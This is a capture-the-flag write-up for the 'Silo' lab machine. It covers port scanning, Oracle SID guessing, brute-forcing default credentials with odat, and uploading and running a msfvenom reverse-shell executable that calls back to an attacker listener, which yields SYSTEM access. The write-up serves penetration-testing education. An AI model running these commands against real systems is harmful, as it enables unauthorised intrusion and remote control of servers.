search

Silo

hashtag
Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.82 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are a lot of ports open. Let's try to obtain more information about the services and versions running on those ports.

nmap -sC -sV -p80,135,139,445,1521,5985,8080,47001,49152,49153,49154,49155,49159,49160,49161,49162 10.10.10.82 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we enumerate the SMB service with crackmapexec, we'll see the machine is a Windows Server 2012 R2 Standard 9600 x64.

crackmapexec smb 10.10.10.82

hashtag
Exploitation

In port 1521 there is an Oracle TNS listener. We can enumerate Oracle with the odat tool. It is a bit tedious to install it, but let's do it. First, let's clone it's Github repositoryarrow-up-right.

git clone https://github.com/quentinhardy/odat

Then we'll go to the odat/ directory and execute the following commands.

cd odat/

git submodule init

git submodule update

Now, we'll have to install some libraries.

sudo apt-get install libaio1 python3-dev alien python3-pip

As we saw with crackmapexec, the machine has a x64 bit architecture. So we'll go to thisarrow-up-right website and download the following files.

Now that we have all these .rpm files, we will have to use alien to convert them to .deb file.

alien --to-deb *.rpm

Once we have the .deb files, we'll install them with dpkg.

dpkg -i *.deb

Next, let's install a python module.

pip3 install cx_Oracle

Then, we'll export some environment variables.

export ORACLE_HOME=/usr/lib/oracle/21/client64/

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib

export PATH=${ORACLE_HOME}bin:$PATH

Then, install some more libraries and modules.

apt-get install python3-scapy

pip3 install colorlog termcolor pycrypto passlib python-libnmap

pip3 install argcomplete && sudo activate-global-python-argcomplete

And finally, we could run the odat tool.

circle-exclamation

If an error appears saying that a module is missing, you can always search for it on the internet.

python3 odat.py --help

To perform any attack with odat, we'll need a SID. So we could use the sidguesser option to discover valid SIDs.

python3 odat.py sidguesser -s 10.10.10.82

  • -s server.

It found XE as a valid SID. Now we could try to brute force credentials with the passwordguesser option. I will be using the /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt metasploit dictionary. But, if you look at the dictionary, you'll see that it has the user password format. But odat only accept the user/password format. So let's change the dictionary format.

cat /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt | tr ' ' '/' > dictionary

Now we could brute force credentials with odat.

python3 odat.py passwordguesser -s 10.10.10.82 -d XE --accounts-file dictionary

  • -s server.

  • -d oracle System ID (SID).

  • --accounts-file file containing Oracle credentials.

It found the user scott and the password tiger. Now that we have some valid credentials, we could upload files with the utlfile option. Let's create a malicious binary with msfvenom which will send us a reverse shell.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.5 lport=4444 -f exe -o shell.exe

  • -p indicates the type of payload.

  • lhost local host IP.

  • lport local port of the listener.

  • -f output format.

  • -o save the output to a file.

Now, let's upload it to the machine with odat in the /Temp directory.

python3 odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --putFile /Temp shell.exe shell.exe

  • -s server.

  • -d oracle System ID (SID).

  • -U oracle username.

  • -P oracle password.

  • --putFile put a file to the remote database server.

We get an error saying that we have insufficient privileges. Don't worry, we can user the --sysdba option to connect as the DBA system user.

python3 odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --putFile /Temp shell.exe shell.exe --sysdba

  • -s server.

  • -d oracle System ID (SID).

  • -U oracle username.

  • -P oracle password.

  • --putFile put a file to the remote database server.

  • --sysdba connection as SYSDBA.

Now that the binary is uploaded, we want to execute it. We can do it with the externaltable option. But first, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

The following command will execute the shell.exe binary, and we will catch the reverse shell on the netcat listener.

python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec /Temp shell.exe --sysdba

  • -s server.

  • -d oracle System ID (SID).

  • -U oracle username.

  • -P oracle password.

  • --exec execute a system command on the remote system.

  • --sysdba connection as SYSDBA.

As we get the shell as the nt authority\system user, all we have to do is reap the harvest and take both the user flag, and the root flag.

Last updated

Was this helpful?